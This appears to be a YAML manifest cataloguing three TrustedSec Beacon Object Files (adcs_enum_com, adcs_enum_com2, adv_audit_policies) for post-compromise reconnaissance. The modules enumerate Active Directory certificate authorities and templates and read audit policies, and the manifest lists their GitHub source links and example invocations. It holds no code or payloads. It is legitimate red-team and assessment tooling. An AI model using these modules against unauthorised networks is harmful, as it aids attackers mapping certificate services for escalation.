description: "Enumerate CAs and templates in the AD using ICertConfig COM object"
author: Trustedsec
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'trustedsec', 'CS-Situational-Awareness-BOF']
category: "ADCS-BOF"
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com/entry.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com/adcs_enum_com.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com/adcs_enum_com.h'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com/certca.h'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com/certenroll.h'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/common/base.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/common/bofdefs.h'
examples: '
adcs_enum_com
'
---
name: adcs_enum_com2
srcfile: "entry"
description: "Enumerate CAs and templates in the AD using IX509PolicyServerListManager COM object"
author: Trustedsec
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'trustedsec', 'CS-Situational-Awareness-BOF']
category: "ADCS-BOF"
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com2/entry.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com2/adcs_enum_com2.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com2/adcs_enum_com2.h'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum_com2/certenroll.h'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/common/base.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/common/bofdefs.h'
examples: '
adcs_enum_com2
'
---
name: adv_audit_policies
srcfile: "entry"
description: "Retrieve advanced security audit policies"
author: Trustedsec
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'trustedsec', 'CS-Situational-Awareness-BOF']
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adv_audit_policies/entry.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/common/base.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/common/bofdefs.h'
examples: '
adv_audit_policies
adv_audit_policies 1
'
arguments:
- name: iswow64
desc: "If set to non zero (e.g. 1) it retrieves policy for WoW64 subsystem. Default: 0"